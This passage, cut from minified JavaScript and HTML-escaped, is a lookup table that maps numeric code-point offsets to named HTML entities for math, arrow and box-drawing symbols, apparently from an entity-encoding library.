,&quot;&amp;rAarr;&quot;],[1,&quot;&amp;zigrarr;&quot;],[6,&quot;&amp;larrb;&quot;],[0,&quot;&amp;rarrb;&quot;],[15,&quot;&amp;DownArrowUpArrow;&quot;],[7,&quot;&amp;loarr;&quot;],[0,&quot;&amp;roarr;&quot;],[0,&quot;&amp;hoarr;&quot;],[0,&quot;&amp;forall;&quot;],[0,&quot;&amp;comp;&quot;],[0,{v:&quot;&amp;part;&quot;,n:824,o:&quot;&amp;npart;&quot;}],[0,&quot;&amp;exist;&quot;],[0,&quot;&amp;nexist;&quot;],[0,&quot;&amp;empty;&quot;],[1,&quot;&amp;Del;&quot;],[0,&quot;&amp;Element;&quot;],[0,&quot;&amp;NotElement;&quot;],[1,&quot;&amp;ni;&quot;],[0,&quot;&amp;notni;&quot;],[2,&quot;&amp;prod;&quot;],[0,&quot;&amp;coprod;&quot;],[0,&quot;&amp;sum;&quot;],[0,&quot;&amp;minus;&quot;],[0,&quot;&amp;MinusPlus;&quot;],[0,&quot;&amp;dotplus;&quot;],[1,&quot;&amp;Backslash;&quot;],[0,&quot;&amp;lowast;&quot;],[0,&quot;&amp;compfn;&quot;],[1,&quot;&amp;radic;&quot;],[2,&quot;&amp;prop;&quot;],[0,&quot;&amp;infin;&quot;],[0,&quot;&amp;angrt;&quot;],[0,{v:&quot;&amp;ang;&quot;,n:8402,o:&quot;&amp;nang;&quot;}],[0,&quot;&amp;angmsd;&quot;],[0,&quot;&amp;angsph;&quot;],[0,&quot;&amp;mid;&quot;],[0,&quot;&amp;nmid;&quot;],[0,&quot;&amp;DoubleVerticalBar;&quot;],[0,&quot;&amp;NotDoubleVerticalBar;&quot;],[0,&quot;&amp;and;&quot;],[0,&quot;&amp;or;&quot;],[0,{v:&quot;&amp;cap;&quot;,n:65024,o:&quot;&amp;caps;&quot;}],[0,{v:&quot;&amp;cup;&quot;,n:65024,o:&quot;&amp;cups;&quot;}],[0,&quot;&amp;int;&quot;],[0,&quot;&amp;Int;&quot;],[0,&quot;&amp;iiint;&quot;],[0,&quot;&amp;conint;&quot;],[0,&quot;&amp;Conint;&quot;],[0,&quot;&amp;Cconint;&quot;],[0,&quot;&amp;cwint;&quot;],[0,&quot;&amp;ClockwiseContourIntegral;&quot;],[0,&quot;&amp;awconint;&quot;],[0,&quot;&amp;there4;&quot;],[0,&quot;&amp;becaus;&quot;],[0,&quot;&amp;ratio;&quot;],[0,&quot;&amp;Colon;&quot;],[0,&quot;&amp;dotminus;&quot;],[1,&quot;&amp;mDDot;&quot;],[0,&quot;&amp;homtht;&quot;],[0,{v:&quot;&amp;sim;&quot;,n:8402,o:&quot;&amp;nvsim;&quot;}],[0,{v:&quot;&amp;backsim;&quot;,n:817,o:&quot;&amp;race;&quot;}],[0,{v:&quot;&amp;ac;&quot;,n:819,o:&quot;&amp;acE;&quot;}],[0,&quot;&amp;acd;&quot;],[0,&quot;&amp;VerticalTilde;&quot;],[0,&quot;&amp;NotTilde;&quot;],[0,{v:&quot;&amp;eqsim;&quot;,n:824,o:&quot;&amp;nesim;&quot;}],[0,&quot;&amp;sime;&quot;],[0,&quot;&amp;NotTildeEqual;&quot;],[0,&quot;&amp;cong;&quot;],[0,&quot;&amp;simne;&quot;],[0,&quot;&amp;ncong;&quot;],[0,&quot;&amp;ap;&quot;],[0,&quot;&amp;nap;&quot;],[0,&quot;&amp;ape;&quot;],[0,{v:&quot;&amp;apid;&quot;,n:824,o:&quot;&amp;napid;&quot;}],[0,&quot;&amp;backcong;&quot;],[0,{v:&quot;&amp;asympeq;&quot;,n:8402,o:&quot;&amp;nvap;&quot;}],[0,{v:&quot;&amp;bump;&quot;,n:824,o:&quot;&amp;nbump;&quot;}],[0,{v:&quot;&amp;bumpe;&quot;,n:824,o:&quot;&amp;nbumpe;&quot;}],[0,{v:&quot;&amp;doteq;&quot;,n:824,o:&quot;&amp;nedot;&quot;}],[0,&quot;&amp;doteqdot;&quot;],[0,&quot;&amp;efDot;&quot;],[0,&quot;&amp;erDot;&quot;],[0,&quot;&amp;Assign;&quot;],[0,&quot;&amp;ecolon;&quot;],[0,&quot;&amp;ecir;&quot;],[0,&quot;&amp;circeq;&quot;],[1,&quot;&amp;wedgeq;&quot;],[0,&quot;&amp;veeeq;&quot;],[1,&quot;&amp;triangleq;&quot;],[2,&quot;&amp;equest;&quot;],[0,&quot;&amp;ne;&quot;],[0,{v:&quot;&amp;Congruent;&quot;,n:8421,o:&quot;&amp;bnequiv;&quot;}],[0,&quot;&amp;nequiv;&quot;],[1,{v:&quot;&amp;le;&quot;,n:8402,o:&quot;&amp;nvle;&quot;}],[0,{v:&quot;&amp;ge;&quot;,n:8402,o:&quot;&amp;nvge;&quot;}],[0,{v:&quot;&amp;lE;&quot;,n:824,o:&quot;&amp;nlE;&quot;}],[0,{v:&quot;&amp;gE;&quot;,n:824,o:&quot;&amp;ngE;&quot;}],[0,{v:&quot;&amp;lnE;&quot;,n:65024,o:&quot;&amp;lvertneqq;&quot;}],[0,{v:&quot;&amp;gnE;&quot;,n:65024,o:&quot;&amp;gvertneqq;&quot;}],[0,{v:&quot;&amp;ll;&quot;,n:new Map(e([[824,&quot;&amp;nLtv;&quot;],[7577,&quot;&amp;nLt;&quot;]]))}],[0,{v:&quot;&amp;gg;&quot;,n:new Map(e([[824,&quot;&amp;nGtv;&quot;],[7577,&quot;&amp;nGt;&quot;]]))}],[0,&quot;&amp;between;&quot;],[0,&quot;&amp;NotCupCap;&quot;],[0,&quot;&amp;nless;&quot;],[0,&quot;&amp;ngt;&quot;],[0,&quot;&amp;nle;&quot;],[0,&quot;&amp;nge;&quot;],[0,&quot;&amp;lesssim;&quot;],[0,&quot;&amp;GreaterTilde;&quot;],[0,&quot;&amp;nlsim;&quot;],[0,&quot;&amp;ngsim;&quot;],[0,&quot;&amp;LessGreater;&quot;],[0,&quot;&amp;gl;&quot;],[0,&quot;&amp;NotLessGreater;&quot;],[0,&quot;&amp;NotGreaterLess;&quot;],[0,&quot;&amp;pr;&quot;],[0,&quot;&amp;sc;&quot;],[0,&quot;&amp;prcue;&quot;],[0,&quot;&amp;sccue;&quot;],[0,&quot;&amp;PrecedesTilde;&quot;],[0,{v:&quot;&amp;scsim;&quot;,n:824,o:&quot;&amp;NotSucceedsTilde;&quot;}],[0,&quot;&amp;NotPrecedes;&quot;],[0,&quot;&amp;NotSucceeds;&quot;],[0,{v:&quot;&amp;sub;&quot;,n:8402,o:&quot;&amp;NotSubset;&quot;}],[0,{v:&quot;&amp;sup;&quot;,n:8402,o:&quot;&amp;NotSuperset;&quot;}],[0,&quot;&amp;nsub;&quot;],[0,&quot;&amp;nsup;&quot;],[0,&quot;&amp;sube;&quot;],[0,&quot;&amp;supe;&quot;],[0,&quot;&amp;NotSubsetEqual;&quot;],[0,&quot;&amp;NotSupersetEqual;&quot;],[0,{v:&quot;&amp;subne;&quot;,n:65024,o:&quot;&amp;varsubsetneq;&quot;}],[0,{v:&quot;&amp;supne;&quot;,n:65024,o:&quot;&amp;varsupsetneq;&quot;}],[1,&quot;&amp;cupdot;&quot;],[0,&quot;&amp;UnionPlus;&quot;],[0,{v:&quot;&amp;sqsub;&quot;,n:824,o:&quot;&amp;NotSquareSubset;&quot;}],[0,{v:&quot;&amp;sqsup;&quot;,n:824,o:&quot;&amp;NotSquareSuperset;&quot;}],[0,&quot;&amp;sqsube;&quot;],[0,&quot;&amp;sqsupe;&quot;],[0,{v:&quot;&amp;sqcap;&quot;,n:65024,o:&quot;&amp;sqcaps;&quot;}],[0,{v:&quot;&amp;sqcup;&quot;,n:65024,o:&quot;&amp;sqcups;&quot;}],[0,&quot;&amp;CirclePlus;&quot;],[0,&quot;&amp;CircleMinus;&quot;],[0,&quot;&amp;CircleTimes;&quot;],[0,&quot;&amp;osol;&quot;],[0,&quot;&amp;CircleDot;&quot;],[0,&quot;&amp;circledcirc;&quot;],[0,&quot;&amp;circledast;&quot;],[1,&quot;&amp;circleddash;&quot;],[0,&quot;&amp;boxplus;&quot;],[0,&quot;&amp;boxminus;&quot;],[0,&quot;&amp;boxtimes;&quot;],[0,&quot;&amp;dotsquare;&quot;],[0,&quot;&amp;RightTee;&quot;],[0,&quot;&amp;dashv;&quot;],[0,&quot;&amp;DownTee;&quot;],[0,&quot;&amp;bot;&quot;],[1,&quot;&amp;models;&quot;],[0,&quot;&amp;DoubleRightTee;&quot;],[0,&quot;&amp;Vdash;&quot;],[0,&quot;&amp;Vvdash;&quot;],[0,&quot;&amp;VDash;&quot;],[0,&quot;&amp;nvdash;&quot;],[0,&quot;&amp;nvDash;&quot;],[0,&quot;&amp;nVdash;&quot;],[0,&quot;&amp;nVDash;&quot;],[0,&quot;&amp;prurel;&quot;],[1,&quot;&amp;LeftTriangle;&quot;],[0,&quot;&amp;RightTriangle;&quot;],[0,{v:&quot;&amp;LeftTriangleEqual;&quot;,n:8402,o:&quot;&amp;nvltrie;&quot;}],[0,{v:&quot;&amp;RightTriangleEqual;&quot;,n:8402,o:&quot;&amp;nvrtrie;&quot;}],[0,&quot;&amp;origof;&quot;],[0,&quot;&amp;imof;&quot;],[0,&quot;&amp;multimap;&quot;],[0,&quot;&amp;hercon;&quot;],[0,&quot;&amp;intcal;&quot;],[0,&quot;&amp;veebar;&quot;],[1,&quot;&amp;barvee;&quot;],[0,&quot;&amp;angrtvb;&quot;],[0,&quot;&amp;lrtri;&quot;],[0,&quot;&amp;bigwedge;&quot;],[0,&quot;&amp;bigvee;&quot;],[0,&quot;&amp;bigcap;&quot;],[0,&quot;&amp;bigcup;&quot;],[0,&quot;&amp;diam;&quot;],[0,&quot;&amp;sdot;&quot;],[0,&quot;&amp;sstarf;&quot;],[0,&quot;&amp;divideontimes;&quot;],[0,&quot;&amp;bowtie;&quot;],[0,&quot;&amp;ltimes;&quot;],[0,&quot;&amp;rtimes;&quot;],[0,&quot;&amp;leftthreetimes;&quot;],[0,&quot;&amp;rightthreetimes;&quot;],[0,&quot;&amp;backsimeq;&quot;],[0,&quot;&amp;curlyvee;&quot;],[0,&quot;&amp;curlywedge;&quot;],[0,&quot;&amp;Sub;&quot;],[0,&quot;&amp;Sup;&quot;],[0,&quot;&amp;Cap;&quot;],[0,&quot;&amp;Cup;&quot;],[0,&quot;&amp;fork;&quot;],[0,&quot;&amp;epar;&quot;],[0,&quot;&amp;lessdot;&quot;],[0,&quot;&amp;gtdot;&quot;],[0,{v:&quot;&amp;Ll;&quot;,n:824,o:&quot;&amp;nLl;&quot;}],[0,{v:&quot;&amp;Gg;&quot;,n:824,o:&quot;&amp;nGg;&quot;}],[0,{v:&quot;&amp;leg;&quot;,n:65024,o:&quot;&amp;lesg;&quot;}],[0,{v:&quot;&amp;gel;&quot;,n:65024,o:&quot;&amp;gesl;&quot;}],[2,&quot;&amp;cuepr;&quot;],[0,&quot;&amp;cuesc;&quot;],[0,&quot;&amp;NotPrecedesSlantEqual;&quot;],[0,&quot;&amp;NotSucceedsSlantEqual;&quot;],[0,&quot;&amp;NotSquareSubsetEqual;&quot;],[0,&quot;&amp;NotSquareSupersetEqual;&quot;],[2,&quot;&amp;lnsim;&quot;],[0,&quot;&amp;gnsim;&quot;],[0,&quot;&amp;precnsim;&quot;],[0,&quot;&amp;scnsim;&quot;],[0,&quot;&amp;nltri;&quot;],[0,&quot;&amp;NotRightTriangle;&quot;],[0,&quot;&amp;nltrie;&quot;],[0,&quot;&amp;NotRightTriangleEqual;&quot;],[0,&quot;&amp;vellip;&quot;],[0,&quot;&amp;ctdot;&quot;],[0,&quot;&amp;utdot;&quot;],[0,&quot;&amp;dtdot;&quot;],[0,&quot;&amp;disin;&quot;],[0,&quot;&amp;isinsv;&quot;],[0,&quot;&amp;isins;&quot;],[0,{v:&quot;&amp;isindot;&quot;,n:824,o:&quot;&amp;notindot;&quot;}],[0,&quot;&amp;notinvc;&quot;],[0,&quot;&amp;notinvb;&quot;],[1,{v:&quot;&amp;isinE;&quot;,n:824,o:&quot;&amp;notinE;&quot;}],[0,&quot;&amp;nisd;&quot;],[0,&quot;&amp;xnis;&quot;],[0,&quot;&amp;nis;&quot;],[0,&quot;&amp;notnivc;&quot;],[0,&quot;&amp;notnivb;&quot;],[6,&quot;&amp;barwed;&quot;],[0,&quot;&amp;Barwed;&quot;],[1,&quot;&amp;lceil;&quot;],[0,&quot;&amp;rceil;&quot;],[0,&quot;&amp;LeftFloor;&quot;],[0,&quot;&amp;rfloor;&quot;],[0,&quot;&amp;drcrop;&quot;],[0,&quot;&amp;dlcrop;&quot;],[0,&quot;&amp;urcrop;&quot;],[0,&quot;&amp;ulcrop;&quot;],[0,&quot;&amp;bnot;&quot;],[1,&quot;&amp;profline;&quot;],[0,&quot;&amp;profsurf;&quot;],[1,&quot;&amp;telrec;&quot;],[0,&quot;&amp;target;&quot;],[5,&quot;&amp;ulcorn;&quot;],[0,&quot;&amp;urcorn;&quot;],[0,&quot;&amp;dlcorn;&quot;],[0,&quot;&amp;drcorn;&quot;],[2,&quot;&amp;frown;&quot;],[0,&quot;&amp;smile;&quot;],[9,&quot;&amp;cylcty;&quot;],[0,&quot;&amp;profalar;&quot;],[7,&quot;&amp;topbot;&quot;],[6,&quot;&amp;ovbar;&quot;],[1,&quot;&amp;solbar;&quot;],[60,&quot;&amp;angzarr;&quot;],[51,&quot;&amp;lmoustache;&quot;],[0,&quot;&amp;rmoustache;&quot;],[2,&quot;&amp;OverBracket;&quot;],[0,&quot;&amp;bbrk;&quot;],[0,&quot;&amp;bbrktbrk;&quot;],[37,&quot;&amp;OverParenthesis;&quot;],[0,&quot;&amp;UnderParenthesis;&quot;],[0,&quot;&amp;OverBrace;&quot;],[0,&quot;&amp;UnderBrace;&quot;],[2,&quot;&amp;trpezium;&quot;],[4,&quot;&amp;elinters;&quot;],[59,&quot;&amp;blank;&quot;],[164,&quot;&amp;circledS;&quot;],[55,&quot;&amp;boxh;&quot;],[1,&quot;&amp;boxv;&quot;],[9,&quot;&amp;boxdr;&quot;],[3,&quot;&amp;boxdl;&quot;],[3,&quot;&amp;boxur;&quot;],[3,&quot;&amp;boxul;&quot;],[3,&quot;&amp;boxvr;&quot;],[7,&quot;&amp;boxvl;&quot;],[7,&quot;&amp;boxhd;&quot;],[7,&quot;&amp;boxhu;&quot;],[7,&quot;&amp;boxvh;&quot;],[19,&quot;&amp;boxH;&quot;],[0,&quot;&amp;boxV;&quot;],[0,&quot;&amp;boxdR;&quot;],[0,&quot;&amp;boxDr;&quot;],[0,&quot;&amp;boxDR;&quot;],[0,&quot;&amp;boxdL;&quot;],[0,&quot;&amp;boxDl;&quot;],[0,&quot;&amp;boxDL;&quot;],[0,&quot;&amp;boxuR;&quot;],[0,&quot;&amp;boxUr;&quot;],[0,&quot;&amp;boxUR;&quot;],[0,&quot;&amp;boxuL;&quot;],[0,&quot;&amp;boxUl;&quot;],[0,&quot;&amp;boxUL;&quot;],[0,&quot;&amp;boxvR;&quot;],[0,&quot;&amp;boxVr;&quot;],[0,&quot;&amp;boxVR;&quot;],[0,&quot;&amp;boxvL;&quot;],[0,&quot;&amp;boxVl;&quot;],[0,&quot;&amp;boxVL;&quot;],[0,&quot;&amp;boxHd;&quot;],[0,&quot;&amp;boxhD;&quot;],[0,&quot;&amp;boxHD;&quot;],[0,&quot;&amp;boxHu;&quot;],[0,&quot;&amp;boxhU;&quot;],[0,&quot;&amp;boxHU;&quot;],[0,&quot;&amp;boxvH;&quot;],[0,&quot;&amp;boxVh;&quot;],[0,&quot;&amp;boxVH;&quot;],[19,&quot;&amp;uhblk;&quot;],[3,&quot;&amp;lhblk;&quot;],[3,&quot;&amp;block;&quot;],[8,&quot;&amp;blk14;&quot;],[0,&quot;&amp;blk12;&quot;],[0,&quot;&amp;blk34;&quot;],[13,&quot;&amp;square;&quot;],[8,&quot;&amp;blacksquare;&quot;],[0,&quot;&amp;EmptyVerySmallSquare;&quot;],[1,&quot;&amp;rect;&quot;],[0,&quot;&amp;marker;&quot;],[2,&quot;&amp;fltns;&quot;],[1,&quot;&amp;bigtriangleup;&quot;],[0,&quot;&amp;blacktriangle;&quot;],[0,&quot;&amp;triangle;&quot;],[2,&quot;&amp;blacktriangleright;&quot;],[0,&quot;&amp;rtri;&quot;],[3,&quot;&amp;bigtriangledown;&quot;],[0,&quot;&amp;blacktriangledown;&quot;],[0,&quot;&amp;dtri;&quot;],[2,&quot;&amp;blacktriangleleft;&quot;],[0,&quot;&amp;ltri;&quot;],[6,&quot;&amp;loz;&quot;],[0,&quot;&amp;cir;&quot;],[32,&quot;&amp;tridot;&quot;],[2,&quot;&amp;bigcirc;&quot;],[8,&quot;&amp;ultri;&quot;],[0,&quot;&amp;urtri;&quot;],[0,&quot;&amp;lltri;&quot;],[0,&quot;&amp;EmptySmallSquare;&quot;],[0,&quot;&amp;FilledSmallSquare;&quot;],[8,&quot;&amp;bigstar;&quot;],[0,&quot;&amp;star;&quot;],[7,&quot;&amp;phone;&quot;],[49,&quot;&amp;female;&quot;],[1,&quot;&amp;male;&quot;],[29,&quot;&amp;spades;&quot;],[2,&quot;&amp;clubs;&quot;],[1,&quot;&amp;hearts;&quot;],[0,&quot;&amp;diamondsuit;&quot;],[3,&quot;&amp;sung;&quot;],[2,&quot;&amp;flat;&quot;],[0,&quot;&amp;natural;&quot;],[0,&quot;&amp;sharp;&quot;],[163,&quot;&amp;check;&quot;],[3,&quot;&amp;cross;&quot;],[8,&quot;&amp;malt;&quot;],[21,&quot;&amp;sext;&quot;],[33,&quot;&amp;VerticalSeparator;&quot;],[25,&quot;&amp;lbbrk;&quot;],[0,&quot;&amp;rbbrk;&quot;],[84,&quot;&amp;bsolhsub;&quot;],[0,&quot;&amp;suphsol;&quot;],[28,&quot;&amp;LeftDoubleBracket;&quot;],[0,&quot;&amp;RightDoubleBracket;&quot;],[0,&quot;&amp;lang;&quot;],[0,&quot;&amp;rang;&quot;],[0,&quot;&amp;Lang;&quot;],[0,&quot;&amp;Rang;&quot;],[0,&quot;&amp;loang;&quot;],[0,&quot;&amp;roang;&quot;],[7,&quot;&amp;longleftarrow;&quot;],[0,&quot;&amp;longrightarrow;&quot;],[0,&quot;&amp;longleftrightarrow;&quot;],[0,&quot;&amp;DoubleLongLeftArrow;&quot;],[0,&quot;&amp;DoubleLongRightArrow;&quot;],[0,&quot;&amp;DoubleLongLeftRightArrow;&quot;],[1,&quot;&amp;longmapsto;&quot;],[2,&quot;&amp;dzigrarr;&quot;],[258,&quot;&amp;nvlArr;&quot;],[0,&quot;&amp;nvrArr;&quot;],[0,&quot;&amp;nvHarr;&quot;],[0,&quot;&amp;Map;&quot;],[6,&quot;&amp;lbarr;&quot;],[0,&quot;&amp;bkarow;&quot;],[0,&quot;&amp;lBarr;&quot;],[0,&quot;&amp;dbkarow;&quot;],[0,&quot;&amp;drbkarow;&quot;],[0,&quot;&amp;DDotrahd;&quot;],[0,&quot;&amp;UpArrowBar;&quot;],[0,&quot;&amp;DownArrowBar;&quot;],[2,&quot;&amp;Rarrtl;&quot;],[2,&quot;&amp;latail;&quot;],[0,&quot;&amp;ratail;&quot;],[0,&quot;&amp;lAtail;&quot;],[0,&quot;&amp;rAtail;&quot;],[0,&quot;&amp;larrfs;&quot;],[0,&quot;&amp;rarrfs;&quot;],[0,&quot;&amp;larrbfs;&quot;],[0,&quot;&amp;rarrbfs;&quot;],[2,&quot;&amp;nwarhk;&quot;],[0,&quot;&amp;nearhk;&quot;],[0,&quot;&amp;hksearow;&quot;],[0,&quot;&amp;hkswarow;&quot;],[0,&quot;&amp;nwnear;&quot;],[0,&quot;&amp;nesear;&quot;],[0,&quot;&amp;seswar;&quot;],[0,&quot;&amp;swnwar;&quot;],[8,{v:&quot;&amp;rarrc;&quot;,n:824,o:&quot;&amp;nrarrc;&quot;}],[1,&quot;&amp;cudarrr;&quot;],[0,&quot;&amp;ldca;&quot;],[0,&quot;&amp;rdca;&quot;],[0,&quot;&amp;cudarrl;&quot;],[0,&quot;&amp;larrpl;&quot;],[2,&quot;&amp;curarrm;&quot;],[0,&quot;&amp;cularrp;&quot;],[7,&quot;&amp;rarrpl;&quot;],[2,&quot;&amp;harrcir;&quot;],[0,&quot;&amp;Uarrocir;&quot;],[0,&quot;&amp;lurdshar;&quot;],[0,&quot;&amp;ldrushar;&quot;],[2,&quot;&amp;LeftRightVector;&quot;],[0,&quot;&amp;RightUpDownVector;&quot;],[0,&quot;&amp;DownLeftRightVector;&quot;],[0,&quot;&amp;LeftUpDownVector;&quot;],[0,&quot;&amp;LeftVectorBar;&quot;],[0,&quot;&amp;RightVectorBar;&quot;],[0,&quot;&amp;RightUpVectorBar;&quot;],[0,&quot;&amp;RightDownVectorBar;&quot;],[0,&quot;&amp;DownLeftVectorBar;&quot;],[0,&quot;&amp;DownRightVectorBar;&quot;],[0,&quot;&amp;LeftUpVectorBar;&quot;],[0,&quot;&amp;LeftDownVectorBar;&quot;],[0,&quot;&amp;LeftTeeVector;&quot;],[0,&quot;&amp;RightTeeVector;&quot;],[0,&quot;&amp;RightUpTeeVector;&quot;],[0,&quot;&amp;RightDownTeeVector;&quot;],[0,&quot;&amp;DownLeftTeeVector;&quot;],[0,&quot;&amp;DownRightTeeVector;&quot;],[0,&quot;&amp;LeftUpTeeVector;&quot;],[0,&quot;&amp;LeftDownTeeVector;&quot;],[0,&quot;&amp;lHar;&quot;],[0,&quot;&amp;uHar;&quot;],[0,&quot;&amp;rHar;&quot;],[0,&quot;&amp;dHar;&quot;],[0,&quot;&amp;luruhar;&quot;],[0,&quot;&amp;ldrdhar;&quot;],[0,&quot;&amp;ruluhar;&quot;],[0,&quot;&amp;rdldhar;&quot;],[0,&quot;&amp;lharul;&quot;],[0,&quot;&amp;llhard;&quot;],[0,&quot;&amp;rharul;&quot;],[0,&quot;&amp;lrhard;&quot;],[0,&quot;&amp;udhar;&quot;],[0,&quot;&amp;duhar;&quot;],[0,&quot;&amp;RoundImplies;&quot;],[0,&quot;&amp;erarr;&quot;],[0,&quot;&amp;simrarr;&quot;],[0,&quot;&amp;larrsim;&quot;],[0,&quot;&amp;rarrsim;&quot;],[0,&quot;&amp;rarrap;&quot;],[0,&quot;&amp;ltlarr;&quot;],[1,&quot;&amp;gtrarr;&quot;],[0,&quot;&amp;subrarr;&quot;],[1,&quot;&amp;suplarr;&quot;],[0,&quot;&amp;lfisht;&quot;],[0,&quot;&amp;rfisht;&quot;],[0,&quot;&amp;ufisht;&quot;],[0,&quot;&amp;dfisht;&quot;],[5,&quot;&amp;lopar;&quot;],[0,&quot;&amp;ropar;&quot;],[4,&quot;&amp;lbrke;&quot;],[0,&quot;&amp;rbrke;&quot;],[0,&quot;&amp;lbrkslu;&quot;],[0,&quot;&amp;rbrksld;&quot;],[0,&quot;&amp;lbrksld;&quot;],[0,&quot;&amp;rbrkslu;&quot;],[0,&quot;&amp;langd;&quot;],[0,&quot;&amp;rangd;&quot;],[0,&quot;&amp;lparlt;&quot;],[0,&quot;&amp;rpargt;&quot;],[0,&quot;&amp;gtlPar;&quot;],[0,&quot;&amp;ltrPar;&quot;],[3,&quot;&amp;vzigzag;&quot;],[1,&quot;&amp;vangrt;&quot;],[0,&quot;&amp;angrtvbd;&quot;],[6,&quot;&amp;ange;&quot;],[0,&quot;&amp;range;&quot;],[0,&quot;&amp;dwangle;&quot;],[0,&quot;&amp;uwangle;&quot;],[0,&quot;&amp;angmsdaa;&quot;],[0,&quot;&amp;angmsdab;&quot;],[0,&quot;&amp;angmsdac;&quot;],[0,&quot;&amp;angmsdad;&quot;],[0,&quot;&amp;angmsdae;&quot;],[0,&quot;&amp;angmsdaf;&quot;],[0,&quot;&amp;angmsdag;&quot;],[0,&quot;&amp;angmsdah;&quot;],[0,&quot;&amp;bemptyv;&quot;],[0,&quot;&amp;demptyv;&quot;],[0,&quot;&amp;cemptyv;&quot;],[0,&quot;&amp;raemptyv;&quot;],[0,&quot;&amp;laemptyv;&quot;],[0,&quot;&amp;ohbar;&quot;],[0,&quot;&amp;omid;&quot;],[0,&quot;&amp;opar;&quot;],[1,&quot;&amp;operp;&quot;],[1,&quot;&amp;olcross;&quot;],[0,&quot;&amp;odsold;&quot;],[1,&quot;&amp;olcir;&quot;],[0,&quot;&amp;ofcir;&quot;],[0,&quot;&amp;olt;&quot;],[0,&quot;&amp;ogt;&quot;],[0,&quot;&amp;cirscir;&quot;],[0,&quot;&amp;cirE;&quot;],[0,&quot;&amp;solb;&quot;],[0,&quot;&amp;bsolb;&quot;],[3,&quot;&amp;boxbox;&quot;],[3,&quot;&amp;trisb;&quot;],[0,&quot;&amp;rtriltri;&quot;],[0,{v:&quot;&amp;LeftTriangleBar;&quot;,n:824,o:&quot;&amp;NotLeftTriangleBar;&quot;}],[0,{v:&quot;&amp;RightTriangleBar;&quot;,n:824,o:&quot;&amp;NotRightTriangleBar;&quot;}],[11,&quot;&amp;iinfin;&quot;],[0,&quot;&amp;infintie;&quot;],[0,&quot;&amp;nvinfin;&quot;],[4,&quot;&amp;eparsl;&quot;],[0,&quot;&amp;smeparsl;&quot;],[0,&quot;&amp;eqvparsl;&quot;],[5,&quot;&amp;blacklozenge;&quot;],[8,&quot;&amp;RuleDelayed;&quot;],[1,&quot;&amp;dsol;&quot;],[9,&quot;&amp;bigodot;&quot;],[0,&quot;&amp;bigoplus;&quot;],[0,&quot;&amp;bigotimes;&quot;],[1,&quot;&amp;biguplus;&quot;],[1,&quot;&amp;bigsqcup;&quot;],[5,&quot;&amp;iiiint;&quot;],[0,&quot;&amp;fpartint;&quot;],[2,&quot;&amp;cirfnint;&quot;],[0,&quot;&amp;awint;&quot;],[0,&quot;&amp;rppolint;&quot;],[0,&quot;&amp;scpolint;&quot;],[0,&quot;&amp;npolint;&quot;],[0,&quot;&amp;pointint;&quot;],[0,&quot;&amp;quatint;&quot;],[0,&quot;&amp;intlarhk;&quot;],[10,&quot;&amp;pluscir;&quot;],[0,&quot;&amp;plusacir;&quot;],[0,&quot;&amp;simplus;&quot;],[0,&quot;&amp;plusdu;&quot;],[0,&quot;&amp;plussim;&quot;],[0,&quot;&amp;plustwo;&quot;],[1,&quot;&amp;mcomma;&quot;],[0,&quot;&amp;minusdu;&quot;],[2,&quot;&amp;loplus;&quot;],[0,&quot;&amp;roplus;&quot;],[0,&quot;&amp;Cross;&quot;],[0,&quot;&amp;timesd;&quot;],[0,&quot;&amp;timesbar;&quot;],[1,&quot;&amp;smashp;&quot;],[0,&quot;&amp;lotimes;&quot;],[0,&quot;&amp;rotimes;&quot;],[0,&quot;&amp;otimesas;&quot;],[0,&quot;&amp;Otimes;&quot;],[0,&quot;&amp;odiv;&quot;],[0,&quot;&amp;triplus;&quot;],[0,&quot;&amp;triminus;&quot;],[0,&quot;&amp;tritime;&quot;],[0,&quot;&amp;intprod;&quot;],[2,&quot;&amp;amalg;&quot;],[0,&quot;&amp;capdot;&quot;],[1,&quot;&amp;ncup;&quot;],[0,&quot;&amp;ncap;&quot;],[0,&quot;&amp;capand;&quot;],[0,&quot;&amp;cupor;&quot;],[0,&quot;&amp;cupcap;&quot;],[0,&quot;&amp;capcup;&quot;],[0,&quot;&amp;cupbrcap;&quot;],[0,&quot;&amp;capbrcup;&quot;],[0,&quot;&amp;cupcup;&quot;],[0,&quot;&amp;capcap;&quot;],[0,&quot;&amp;ccups;&quot;],[0,&quot;&amp;ccaps;&quot;],[2,&quot;&amp;ccupssm;&quot;],[2,&quot;&amp;And;&quot;],[0,&quot;&amp;Or;&quot;],[0,&quot;&amp;andand;&quot;],[0,&quot;&amp;oror;&quot;],[0,&quot;&amp;orslope;&quot;],[0,&quot;&amp;andslope;&quot;],[1,&quot;&amp;andv;&quot;],[0,&quot;&amp;orv;&quot;],[0,&quot;&amp;andd;&quot;],[0,&quot;&amp;ord;&quot;],[1,&quot;&amp;wedbar;&quot;],[6,&quot;&amp;sdote;&quot;],[3,&quot;&amp;simdot;&quot;],[2,{v:&quot;&amp;congdot;&quot;,n:824,o:&quot;&amp;ncongdot;&quot;}],[0,&quot;&amp;easter;&quot;],[0,&quot;&amp;apacir;&quot;],[0,{v:&quot;&amp;apE;&quot;,n:824,o:&quot;&amp;napE;&quot;}],[0,&quot;&amp;eplus;&quot;],[0,&quot;&amp;pluse;&quot;],[0,&quot;&amp;Esim;&quot;],[0,&quot;&amp;Colone;&quot;],[0,&quot;&amp;Equal;&quot;],[1,&quot;&amp;ddotseq;&quot;],[0,&quot;&amp;equivDD;&quot;],[0,&quot;&amp;ltcir;&quot;],[0,&quot;&amp;gtcir;&quot;],[0,&quot;&amp;ltquest;&quot;],[0,&quot;&amp;gtquest;&quot;],[0,{v:&quot;&amp;leqslant;&quot;,n:824,o:&quot;&amp;nleqslant;&quot;}],[0,{v:&quot;&amp;geqslant;&quot;,n:824,o:&quot;&amp;ngeqslant;&quot;}],[0,&quot;&amp;lesdot;&quot;],[0,&quot;&amp;gesdot;&quot;],[0,&quot;&amp;lesdoto;&quot;],[0,&quot;&amp;gesdoto;&quot;],[0,&quot;&amp;lesdotor;&quot;],[0,&quot;&amp;gesdotol;&quot;],[0,&quot;&amp;lap;&quot;],[0,&quot;&amp;gap;&quot;],[0,&quot;&amp;lne;&quot;],[0,&quot;&amp;gne;&quot;],[0,&quot;&amp;lnap;&quot;],[0,&quot;&amp;gnap;&quot;],[0,&quot;&amp;lEg;&quot;],[0,&quot;&amp;gEl;&quot;],[0,&quot;&amp;lsime;&quot;],[0,&quot;&amp;gsime;&quot;],[0,&quot;&amp;lsimg;&quot;],[0,&quot;&amp;gsiml;&quot;],[0,&quot;&amp;lgE;&quot;],[0,&quot;&amp;glE;&quot;],[0,&quot;&amp;lesges;&quot;],[0,&quot;&amp;gesles;&quot;],[0,&quot;&amp;els;&quot;],[